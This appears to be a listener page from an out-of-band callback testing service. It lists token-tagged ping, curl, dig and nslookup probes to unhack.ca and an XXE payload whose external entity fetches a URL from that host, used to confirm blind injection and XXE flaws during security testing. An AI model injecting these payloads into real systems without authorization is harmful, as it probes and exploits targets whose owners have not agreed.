$ ping -c1 -p 00cb0347d151e52f8a47cb7b9fcc3800 unhack.ca
 
$ curl http://unhack.ca/p/cb0347d151e52f8a47cb7b9fcc38
 
$ dig cb0347d151e52f8a47cb7b9fcc38 @unhack.ca
 
$ dig cb0347d151e52f8a47cb7b9fcc38.ns.unhack.ca
 
C:\> nslookup cb0347d151e52f8a47cb7b9fcc38 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cb0347d151e52f8a47cb7b9fcc38">]>
    <foo>&xxe;</foo>
 
Waiting for ping...